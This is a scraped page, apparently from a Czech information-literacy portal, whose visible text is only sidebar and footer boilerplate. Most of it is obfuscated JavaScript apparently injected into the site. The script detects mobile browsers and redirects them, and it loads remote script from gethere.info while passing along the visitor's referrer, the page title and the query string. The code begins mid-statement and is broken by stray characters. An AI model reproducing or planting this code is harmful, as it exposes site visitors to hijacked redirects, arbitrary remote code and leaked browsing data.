)|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×d052=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­33\x63\x58\x66\x71\x6B\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var _0×b322=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­32\x36\x34\x64\x70\x72\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])}

Doporučit článek příteli
  1. *
  2. *
  3. *
  4. *
 

cforms contact form by delicious:days

Rubrika: Realizace CI

Zveřejnil: Lenka

Sekce: Profesionál, Podnikatel, Student

Doporučujeme také

Žádné komentáře »

Zatím nemáte žádné komentáře.

RSS komentářů k tomuto příspěvku.

Napsat komentář

Garant projektu

Kabinet informačních studií a knihovnictví FF MU Brno

Realizátor projektu

Realizátor projektu: PARTSIP

Sdílejte Portál CI

Konference a semináře

  • Nejsou žádné události.

Inzerce, zaměstnání, výzvy

Všechny Inzerce, zaměstnání, výzvy...